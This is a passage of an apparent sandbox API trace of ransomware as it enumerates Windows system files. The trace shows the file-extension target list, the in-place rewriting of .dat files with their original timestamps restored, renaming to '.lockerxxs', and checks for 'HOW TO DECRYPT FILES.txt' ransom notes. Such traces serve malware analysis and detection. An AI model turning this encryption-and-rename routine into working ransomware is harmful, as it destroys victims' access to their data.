PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.db") returned 0 [0129.612] lstrlenA (lpString="*.db") returned 4 [0129.612] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.dbf") returned 0 [0129.612] lstrlenA (lpString="*.dbf") returned 5 [0129.612] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.myox") returned 0 [0129.612] lstrlenA (lpString="*.myox") returned 6 [0129.612] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.myo") returned 0 [0129.612] lstrlenA (lpString="*.myo") returned 5 [0129.612] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qbw") returned 0 [0129.612] lstrlenA (lpString="*.qbw") returned 5 [0129.612] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qbb") returned 0 [0129.613] lstrlenA (lpString="*.qbb") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qbm") returned 0 [0129.613] lstrlenA (lpString="*.qbm") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qbo") returned 0 [0129.613] lstrlenA (lpString="*.qbo") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qbx") returned 0 [0129.613] lstrlenA (lpString="*.qbx") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qba") returned 0 [0129.613] lstrlenA (lpString="*.qba") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qby") returned 0 [0129.613] lstrlenA (lpString="*.qby") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qbj") returned 0 [0129.613] lstrlenA (lpString="*.qbj") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.ofx") returned 0 [0129.613] lstrlenA (lpString="*.ofx") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.qif") returned 0 [0129.613] lstrlenA (lpString="*.qif") returned 5 [0129.613] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.mye") returned 0 [0129.614] lstrlenA (lpString="*.mye") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.mbox") returned 0 [0129.614] lstrlenA (lpString="*.mbox") returned 6 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.eml") returned 0 [0129.614] lstrlenA (lpString="*.eml") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.pst") returned 0 [0129.614] lstrlenA (lpString="*.pst") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.ost") returned 0 [0129.614] lstrlenA (lpString="*.ost") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.idx") returned 0 [0129.614] lstrlenA (lpString="*.idx") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.dbx") returned 0 [0129.614] lstrlenA (lpString="*.dbx") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.sql") returned 0 [0129.614] lstrlenA (lpString="*.sql") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.mdb") returned 0 [0129.614] lstrlenA (lpString="*.mdb") returned 5 [0129.614] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.fdb") returned 0 [0129.614] lstrlenA (lpString="*.fdb") returned 5 [0129.615] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.wab") returned 0 [0129.615] lstrlenA (lpString="*.wab") returned 5 [0129.615] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.dat") returned 1 [0129.615] lstrlenA (lpString="*.dat") returned 5 [0129.615] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" [0129.615] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" [0129.615] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", lpString2="." | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat.") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat." [0129.615] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat.lockerxxs") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat.lockerxxs" [0129.615] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.616] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x471de [0129.616] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1e423fe3, dwHighDateTime=0x1cbf8ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea)) returned 1 [0129.616] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.616] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x471b8, lpOverlapped=0x0) returned 1 [0129.625] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat") returned="perfh.dat" [0129.627] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.627] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x471b8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x471b8, lpOverlapped=0x0) returned 1 [0129.628] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0129.629] CloseHandle (hObject=0x8c) returned 1 [0129.629] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfh.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfh.dat.lockerxxs")) returned 1 [0129.630] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a74e90b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a74e90b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x471de, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="perfi.dat", cAlternateFileName="")) returned 1 [0129.630] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0129.630] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="perfi.dat") returned -1 [0129.630] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="perfi.dat") returned -1 [0129.630] lstrcmpiA (lpString1="", lpString2="perfi.dat") returned -1 [0129.630] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat") returned="perfh.dat" [0129.630] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="C:\\Windows\\inf\\PERFLIB\\0409\\" [0129.630] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="" [0129.630] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" [0129.630] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0409\\how to decrypt files.txt")) returned 0x20 [0129.631] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="perfi.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.ems") returned 0 [0129.631] lstrlenA (lpString="*.ems") returned 5 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.db") returned 0 [0129.631] lstrlenA (lpString="*.db") returned 4 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.dbf") returned 0 [0129.631] lstrlenA (lpString="*.dbf") returned 5 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.myox") returned 0 [0129.631] lstrlenA (lpString="*.myox") returned 6 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.myo") returned 0 [0129.631] lstrlenA (lpString="*.myo") returned 5 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qbw") returned 0 [0129.631] lstrlenA (lpString="*.qbw") returned 5 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qbb") returned 0 [0129.631] lstrlenA (lpString="*.qbb") returned 5 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qbm") returned 0 [0129.631] lstrlenA (lpString="*.qbm") returned 5 [0129.631] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qbo") returned 0 [0129.632] lstrlenA (lpString="*.qbo") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qbx") returned 0 [0129.632] lstrlenA (lpString="*.qbx") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qba") returned 0 [0129.632] lstrlenA (lpString="*.qba") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qby") returned 0 [0129.632] lstrlenA (lpString="*.qby") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qbj") returned 0 [0129.632] lstrlenA (lpString="*.qbj") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.ofx") returned 0 [0129.632] lstrlenA (lpString="*.ofx") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.qif") returned 0 [0129.632] lstrlenA (lpString="*.qif") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.mye") returned 0 [0129.632] lstrlenA (lpString="*.mye") returned 5 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.mbox") returned 0 [0129.632] lstrlenA (lpString="*.mbox") returned 6 [0129.632] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.eml") returned 0 [0129.632] lstrlenA (lpString="*.eml") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.pst") returned 0 [0129.633] lstrlenA (lpString="*.pst") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.ost") returned 0 [0129.633] lstrlenA (lpString="*.ost") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.idx") returned 0 [0129.633] lstrlenA (lpString="*.idx") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.dbx") returned 0 [0129.633] lstrlenA (lpString="*.dbx") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.sql") returned 0 [0129.633] lstrlenA (lpString="*.sql") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.mdb") returned 0 [0129.633] lstrlenA (lpString="*.mdb") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.fdb") returned 0 [0129.633] lstrlenA (lpString="*.fdb") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.wab") returned 0 [0129.633] lstrlenA (lpString="*.wab") returned 5 [0129.633] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", pszSpec="*.dat") returned 1 [0129.633] lstrlenA (lpString="*.dat") returned 5 [0129.633] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" [0129.634] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" [0129.634] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat", lpString2="." | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat.") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat." [0129.634] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat.lockerxxs") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat.lockerxxs" [0129.634] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfi.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.636] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x471de [0129.636] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1e423fe3, dwHighDateTime=0x1cbf8ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea)) returned 1 [0129.636] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.636] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x471b8, lpOverlapped=0x0) returned 1 [0129.644] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat") returned="perfi.dat" [0129.646] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.646] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x471b8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x471b8, lpOverlapped=0x0) returned 1 [0129.648] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0129.648] CloseHandle (hObject=0x8c) returned 1 [0129.648] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfi.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfi.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfi.dat.lockerxxs")) returned 1 [0129.649] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a74e90b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a74e90b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x471de, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="perfi.dat", cAlternateFileName="")) returned 0 [0129.650] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0129.650] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x52d540, cFileName="0409", cAlternateFileName="")) returned 0 [0129.650] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0129.650] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65ded00e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65ded00e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65ded00e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x876c, dwReserved0=0x450050, dwReserved1=0x460052, cFileName="ph3xibc0.inf", cAlternateFileName="")) returned 1 [0129.650] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.650] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc0.inf") returned -1 [0129.650] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc0.inf") returned -1 [0129.650] lstrcmpiA (lpString1="", lpString2="ph3xibc0.inf") returned -1 [0129.650] PathFindFileNameA (pszPath="C:\\Windows\\inf\\*.*") returned="*.*" [0129.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.650] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.650] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.650] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.651] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc0.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc0.inf") returned="C:\\Windows\\inf\\ph3xibc0.inf" [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.ems") returned 0 [0129.651] lstrlenA (lpString="*.ems") returned 5 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.db") returned 0 [0129.651] lstrlenA (lpString="*.db") returned 4 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.dbf") returned 0 [0129.651] lstrlenA (lpString="*.dbf") returned 5 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.myox") returned 0 [0129.651] lstrlenA (lpString="*.myox") returned 6 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.myo") returned 0 [0129.651] lstrlenA (lpString="*.myo") returned 5 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qbw") returned 0 [0129.651] lstrlenA (lpString="*.qbw") returned 5 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qbb") returned 0 [0129.651] lstrlenA (lpString="*.qbb") returned 5 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qbm") returned 0 [0129.651] lstrlenA (lpString="*.qbm") returned 5 [0129.651] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qbo") returned 0 [0129.652] lstrlenA (lpString="*.qbo") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qbx") returned 0 [0129.652] lstrlenA (lpString="*.qbx") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qba") returned 0 [0129.652] lstrlenA (lpString="*.qba") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qby") returned 0 [0129.652] lstrlenA (lpString="*.qby") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qbj") returned 0 [0129.652] lstrlenA (lpString="*.qbj") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.ofx") returned 0 [0129.652] lstrlenA (lpString="*.ofx") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.qif") returned 0 [0129.652] lstrlenA (lpString="*.qif") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mye") returned 0 [0129.652] lstrlenA (lpString="*.mye") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mbox") returned 0 [0129.652] lstrlenA (lpString="*.mbox") returned 6 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.eml") returned 0 [0129.652] lstrlenA (lpString="*.eml") returned 5 [0129.652] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.pst") returned 0 [0129.652] lstrlenA (lpString="*.pst") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.ost") returned 0 [0129.653] lstrlenA (lpString="*.ost") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.idx") returned 0 [0129.653] lstrlenA (lpString="*.idx") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.dbx") returned 0 [0129.653] lstrlenA (lpString="*.dbx") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.sql") returned 0 [0129.653] lstrlenA (lpString="*.sql") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mdb") returned 0 [0129.653] lstrlenA (lpString="*.mdb") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.fdb") returned 0 [0129.653] lstrlenA (lpString="*.fdb") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.wab") returned 0 [0129.653] lstrlenA (lpString="*.wab") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.dat") returned 0 [0129.653] lstrlenA (lpString="*.dat") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.txt") returned 0 [0129.653] lstrlenA (lpString="*.txt") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.jpeg") returned 0 [0129.653] lstrlenA (lpString="*.jpeg") returned 6 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.jpg") returned 0 [0129.653] lstrlenA (lpString="*.jpg") returned 5 [0129.653] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.png") returned 0 [0129.654] lstrlenA (lpString="*.png") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.php") returned 0 [0129.654] lstrlenA (lpString="*.php") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.cs") returned 0 [0129.654] lstrlenA (lpString="*.cs") returned 4 [0129.654] PathMatchSpecA 